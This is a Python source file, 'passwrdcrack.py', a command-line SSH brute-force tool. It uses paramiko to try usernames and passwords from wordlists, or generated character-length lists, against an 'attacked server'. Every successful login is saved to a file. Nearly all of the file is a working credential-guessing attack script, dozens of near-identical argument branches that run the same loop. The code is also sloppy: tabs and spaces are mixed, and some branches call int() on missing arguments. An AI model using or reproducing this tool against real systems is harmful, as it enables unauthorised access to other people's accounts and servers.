passwrdcrack.py

import paramiko
import sys
import os
import argparse
import pprint
from itertools import islice
import warnings

if not sys.warnoptions:
    warnings.simplefilter("ignore")

###global IP = 10.0.2.6
ip = '10.0.2.6'
port = 22
outputFile = os.getcwd()+"/usersPassword.txt"
filePathBruteforces = "/BruteForceSources"
global namesCount
global passwordCount
#conection(ip, port, user, passwrd)


def conection(ip, port, username, passwrd):
    ssh = paramiko.client.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())    
    # try to connect to ssh server
    try:
        ssh.connect(ip , port, username, passwrd)
    # when is not successful close and return false
    except paramiko.AuthenticationException:
        ssh.close()
        return False
    # if connection successful return true
    else:
        ssh.close()
        return True

# read name on specific line
def readNameFile(filePath):
	# to ensure is counted as global and not local
	global namesCount
	with open(filePath) as lines:
	    # reading on specific line islice(file, from , where end) 
            name = [x.rstrip('\n') for x in islice(lines, namesCount,namesCount+1)]
	    # increase global to read next name after call this function again
            namesCount += 1
	    # return string and not array
	    return name[0]

# to read a password at specific line
def readPasswFile(filePath):
	# to ensure is counted as global and not local
	global passwordCount
	with open(filePath) as lines:
	    # reading on specific line islice(file, from , where end) 
            passw = [x.rstrip('\n') for x in islice(lines, passwordCount,passwordCount+1)]
	    # increase global to read next name after call this function again
            passwordCount += 1
	    # return string and not array
	    return passw[0]

# save user name and password in to the file
def saveToFile(name, passw, filePath):
	f = open(filePath, "a+")
	f.write(name + " " + passw + "\n")
	f.close()

# return number of lines in file
def file_len(fname):
    i=0
    with open(fname) as f:
        for i, l in enumerate(f):
            pass
    return i + 1

def check_who_is_bigger(number1, number2, rangeMin, rangeMax):
	if (rangeMin<=number1<=rangeMax) and (rangeMin<number2<rangeMax):
		if number1<number2:
			return True
		else:
			return False
	else:
		return False

def brute_force_path(minc, maxc):
	filePath=os.getcwd()
	if (int(minc) ==0 and int(maxc) ==1) or (int(minc) ==1 and int(maxc) ==1):
		filePath = filePath + filePathBruteforces + "/0_1.txt"
		return filePath
	elif (int(minc) ==0 and int(maxc) ==2) or (int(minc) ==1 and int(maxc) ==2):
		filePath = filePath + filePathBruteforces + "/0_2.txt"
		return filePath
	elif (int(minc) ==0 and int(maxc) ==3) or (int(minc) ==1 and int(maxc) ==3):
		filePath = filePath + filePathBruteforces + "/0_3.txt"
		return filePath
	elif (int(minc) ==0 and int(maxc) ==4) or (int(minc) ==1 and int(maxc) ==4):
		filePath = filePath + filePathBruteforces + "/0_4.txt"
		return filePath
	elif (int(minc) ==0 and int(maxc) ==5) or (int(minc) ==1 and int(maxc) ==5):
		filePath = filePath + filePathBruteforces + "/0_5.txt"
		return filePath
	elif int(minc) ==2 and int(maxc) ==2:
		filePath = filePath + filePathBruteforces + "/2_2.txt"
		return filePath
	elif int(minc) ==2 and int(maxc) ==3:
		filePath = filePath + filePathBruteforces + "/2_3.txt"
		return filePath
	elif int(minc) ==2 and int(maxc) ==4:
		filePath = filePath + filePathBruteforces + "/2_4.txt"
		return filePath
	elif int(minc) ==2 and int(maxc) ==5:
		filePath = filePath + filePathBruteforces + "/2_5.txt"
		return filePath
	elif int(minc) ==3 and int(maxc) ==3:
		filePath = filePath + filePathBruteforces + "/3_3.txt"
		return filePath
	elif int(minc) ==3 and int(maxc) ==4:
		filePath = filePath + filePathBruteforces + "/3_4.txt"
		return filePath
	elif int(minc) ==3 and int(maxc) ==5:
		filePath = filePath + filePathBruteforces + "/3_5.txt"
		return filePath
	elif int(minc) ==4 and int(maxc) ==4:
		filePath = filePath + filePathBruteforces + "/4_4.txt"
		return filePath
	elif int(minc) ==4 and int(maxc) ==5:
		filePath = filePath + filePathBruteforces + "/4_5.txt"
		return filePath
	elif int(minc) ==5 and int(maxc) ==5:
		filePath = filePath + filePathBruteforces + "/5_5.txt"
		return filePath
	else:
		print("Something wrong wrong in choosing right file for BFA")		
		return None


	

# arguments for this python script
parser = argparse.ArgumentParser()
# choose mode
parser.add_argument("-bfa", "-Bfa", "--BFA", help = " !! OBLIGATORY !! bfa for Brute Force Atack max 4 characters")
# add arg for minimal numbers of char in Brute Force
parser.add_argument("-bfas", "--BFAS", help = "for Brute Force Atack set starting number for number of char")
# add arg for maximal numbers of char in Brute Force default max is 4
parser.add_argument("-bfae", "--BFAE", help = "for Brute Force Atack set ending number for number of char max 5 characters")
# add arg for file with user name
parser.add_argument("-nf", "-nF", "--nameFile", help = " !! OBLIGATORY !! file with user name")
# only one user name
parser.add_argument("-un", "-uN", "--userName", help = "!! use if you have only one user !! user name not file")
# output file with cracked password
parser.add_argument("-of", "-oF", "--outputFile", help = "file for output not demanding")
# ip adress of ssh server
parser.add_argument("-ip", "--ipAdress", help = " !! OBLIGATORY !! ip adress of attacked server")
# port
parser.add_argument("-p", "--port", help = "port of attacked ssh default is 22")
# file with passwords
parser.add_argument("-pf", "-pF", "--passwordFile", help = "!! OBLIGATORY !! file with passwords")
args = parser.parse_args()

# if all arguments is typed for file which include users to try on differnt port and save to own file
if args.BFA and args.BFAS and args.BFAE and args.nameFile and args.ipAdress and args.port and args.outputFile:
	# set global variable for user to zero 
	if check_who_is_bigger(int(args.BFAS),int(args.BFAE), 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(args.port), user, passw)==True):
				saveToFile(user, passw, os.getcwd()+"/"+args.outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")

elif args.BFA and args.BFAS and args.BFAE and args.nameFile and args.ipAdress and args.port:
	# set global variable for user to zero 
	if check_who_is_bigger(int(args.BFAS),int(args.BFAE), 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(args.port), user, passw)==True):
				saveToFile(user, passw, outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")

elif args.BFA and args.BFAS and args.BFAE and args.nameFile and args.ipAdress and args.outputFile:
	# set global variable for user to zero 
	if check_who_is_bigger(int(args.BFAS),int(args.BFAE), 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(port), user, passw)==True):
				saveToFile(user, passw, os.getcwd()+"/"+args.outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.BFAS and args.BFAE and args.nameFile and args.ipAdress:
	# set global variable for user to zero 
	if check_who_is_bigger(int(args.BFAS),int(args.BFAE), 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(port), user, passw)==True):
				saveToFile(user, passw, outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.BFAS and args.nameFile and args.ipAdress and args.port and args.outputFile:
	# set global variable for user to zero 
	if check_who_is_bigger(int(args.BFAS),4, 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(args.port), user, passw)==True):
				saveToFile(user, passw, os.getcwd()+"/"+args.outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.BFAS and args.nameFile and args.ipAdress and args.port:
	# set global variable for user to zero 
	if check_who_is_bigger(int(args.BFAS),4, 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(args.port), user, passw)==True):
				saveToFile(user, passw, outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.BFAS and args.nameFile and args.ipAdress and args.outputFile:
	# set global variable for user to zero 
	if check_who_is_bigger(int(args.BFAS),4, 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(port), user, passw)==True):
				saveToFile(user, passw, os.getcwd()+"/"+args.outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.BFAS and args.nameFile and args.ipAdress:
	# set global variable for user to zero 
	if check_who_is_bigger(int(args.BFAS),4, 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(port), user, passw)==True):
				saveToFile(user, passw, outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.BFAE and args.nameFile and args.ipAdress and args.port and args.outputFile:
	# set global variable for user to zero 
	if check_who_is_bigger(0,int(args.BFAE), 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(0,int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(args.port), user, passw)==True):
				saveToFile(user, passw, os.getcwd()+"/"+args.outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.BFAE and args.nameFile and args.ipAdress and args.port:
	# set global variable for user to zero 
	if check_who_is_bigger(0,int(args.BFAE), 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(0,int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(args.port), user, passw)==True):
				saveToFile(user, passw, outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.BFAE and args.nameFile and args.ipAdress and args.outputFile:
	# set global variable for user to zero 
	if check_who_is_bigger(0,int(args.BFAE), 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(0,int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(port), user, passw)==True):
				saveToFile(user, passw, os.getcwd()+"/"+args.outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.BFAE and args.nameFile and args.ipAdress:
	# set global variable for user to zero 
	if check_who_is_bigger(0,int(args.BFAE), 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(0,int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(port), user, passw)==True):
				saveToFile(user, passw, outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.nameFile and args.ipAdress and args.port and args.outputFile:
	# set global variable for user to zero 
	if check_who_is_bigger(0,4, 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(args.port), user, passw)==True):
				saveToFile(user, passw, os.getcwd()+"/"+args.outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.nameFile and args.ipAdress and args.port:
	# set global variable for user to zero 
	if check_who_is_bigger(0,4, 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(args.port), user, passw)==True):
				saveToFile(user, passw, outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.nameFile and args.ipAdress and args.outputFile:
	# set global variable for user to zero 
	if check_who_is_bigger(0,4, 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(port), user, passw)==True):
				saveToFile(user, passw, os.getcwd()+"/"+args.outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.BFA and args.nameFile and args.ipAdress:
	# set global variable for user to zero 
	if check_who_is_bigger(0,4, 0, 4) != True:
		print("check if you use all obligatory arguments")
        	parser.print_help()
		exit()
	namesCount=0
	path=brute_force_path(int(args.BFAS),int(args.BFAE))
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(path)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(path)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(port), user, passw)==True):
				saveToFile(user, passw, outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")
elif args.nameFile and args.passwordFile and args.ipAdress and args.port and args.outputFile:
	# set global variable for user to zero 
	namesCount=0
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(os.getcwd()+"/"+args.passwordFile)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(os.getcwd()+"/"+args.passwordFile)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(args.port), user, passw)==True):
				saveToFile(user, passw, os.getcwd()+"/"+args.outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")

# all arguments for one specific user to try on differnt port and save to own file
elif args.userName and args.passwordFile and args.ipAdress and args.port and args.outputFile:
	# get numbers of line for user and password file
	countOfPassw=file_len(os.getcwd()+"/"+args.passwordFile)
	# set global variable for password to zero
	passwordCount=0
	# used for user to know how many password was iterated over
	help=0
	print("trying find password for user: " + args.userName)
	# iterate over passwords
	while(passwordCount<countOfPassw):
		# get password from file
		passw = readPasswFile(os.getcwd()+"/"+args.passwordFile)
		# if user was connected save credintial to default file
        	if(conection(args.ipAdress, int(args.port) , args.userName, passw)==True):
			saveToFile(args.userName, passw, os.getcwd()+"/"+args.outputFile)
			break
		help+=1
		# for user to know program is not stack
		if(help%50 == 0):
			print("nothing found in " + str(help)+ " try")
		# when user password not contain in file inform user
		elif(help == countOfPassw):
			print("password for " + args.userName + " isn't in the file")

# to connect for different port with multiple users
elif args.nameFile and args.passwordFile and args.ipAdress and args.port:
	# set global variable for user to zero 
	namesCount=0
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(os.getcwd()+"/"+args.passwordFile)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(os.getcwd()+"/"+args.passwordFile)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, int(args.port), user, passw)==True):
				saveToFile(user, passw, outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")

# to connect to specific port with one user
elif args.userName and args.passwordFile and args.ipAdress and args.port:	
	# get numbers of line for user and password file
	countOfPassw=file_len(os.getcwd()+"/"+args.passwordFile)
	# set global variable for password to zero
	passwordCount=0
	# used for user to know how many password was iterated over
	help=0
	print("trying find password for user: " + args.userName)
	# iterate over passwords
	while(passwordCount<countOfPassw):
		# get password from file
		passw = readPasswFile(os.getcwd()+"/"+args.passwordFile)
		# if user was connected save credintial to default file
        	if(conection(args.ipAdress, int(args.port), args.userName, passw)==True):
			saveToFile(args.userName, passw, outputFile)
			break
		help+=1
		# for user to know program is not stack
		if(help%50 == 0):
			print("nothing found in " + str(help) + " try")
		# when user password not contain in file inform user
		elif(help == countOfPassw):
			print("password for " + args.userName + " isn't in the file")

# to safe all user which were discovered password to own file
elif args.nameFile and args.passwordFile and args.ipAdress and args.outputFile:
	# set global variable for user to zero 
	namesCount=0
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(os.getcwd()+"/"+args.passwordFile)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(os.getcwd()+"/"+args.passwordFile)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, port, user, passw)==True):
				saveToFile(user, passw, os.getcwd()+"/"+args.outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")

# to safe user which was discovered password to own file
elif args.userName and args.passwordFile and args.ipAdress and args.outputFile:	
	# get numbers of line for user and password file
	countOfPassw=file_len(os.getcwd()+"/"+args.passwordFile)
	# set global variable for password to zero
	passwordCount=0
	# used for user to know how many password was iterated over
	help=0
	print("trying find password for user: " + args.userName)
	# iterate over passwords
	while(passwordCount<countOfPassw):
		# get password from file
		passw = readPasswFile(os.getcwd()+"/"+args.passwordFile)
		# if user was connected save credintial to default file
        	if(conection(args.ipAdress, port, args.userName, passw)==True):
			saveToFile(args.userName, passw, os.getcwd()+"/"+args.outputFile)
			break
		help+=1
		# for user to know program is not stack
		if(help%50 == 0):
			print("nothing found in " + str(help) + " try")
		# when user password not contain in file inform user
		elif(help == countOfPassw):
			print("password for " + args.userName + " isn't in the file")

# use file of users to try
elif args.nameFile and args.passwordFile and args.ipAdress:
	# set global variable for user to zero 
	namesCount=0
	# get numbers of line for user and password file
	countOfName=file_len(os.getcwd()+"/"+args.nameFile)
	countOfPassw=file_len(os.getcwd()+"/"+args.passwordFile)
	# iterate over every user
	while (namesCount<countOfName):
		# set global variable for password to zero
		passwordCount=0
		# used for user to know how many password was iterated over
		help=0
		# get user from file
		user = readNameFile(os.getcwd()+"/"+args.nameFile)
		print("trying find password for user: " + user)
		# iterate over passwords
		while(passwordCount<countOfPassw):
			# get password from file
			passw = readPasswFile(os.getcwd()+"/"+args.passwordFile)
			# if user was connected save credintial to default file
        		if(conection(args.ipAdress, port, user, passw)==True):
				saveToFile(user, passw, outputFile)
				break
			help+=1
			# for user to know program is not stack
			if(help%50 == 0):
				print("nothing found in " + str(help) + " try")
			# when user password not contain in file inform user
			elif(help == countOfPassw):
				print("password for " + user + " isn't in the file")

# try passwords on one user
elif args.userName and args.passwordFile and args.ipAdress:	
	# get numbers of line for user and password file
	countOfPassw=file_len(os.getcwd()+"/"+args.passwordFile)
	# set global variable for password to zero
	passwordCount=0
	# used for user to know how many password was iterated over
	help=0
	print("trying find password for user: " + args.userName)
	# iterate over passwords
	while(passwordCount<countOfPassw):
		# get password from file
		passw = readPasswFile(os.getcwd()+"/"+args.passwordFile)
		# if user was connected save credintial to default file
        	if(conection(args.ipAdress, port, args.userName, passw)==True):
			saveToFile(args.userName, passw, outputFile)
			break
		help+=1
		# for user to know program is not stack
		if(help%50 == 0):
			print("nothing found in " + str(help) + " try")
		# when user password not contain in file inform user
		elif(help == countOfPassw):
			print("password for " + args.userName + " isn't in the file")

# when not using obligatory arguments or something this show help
else:
	print("check if you use all obligatory arguments")
        parser.print_help()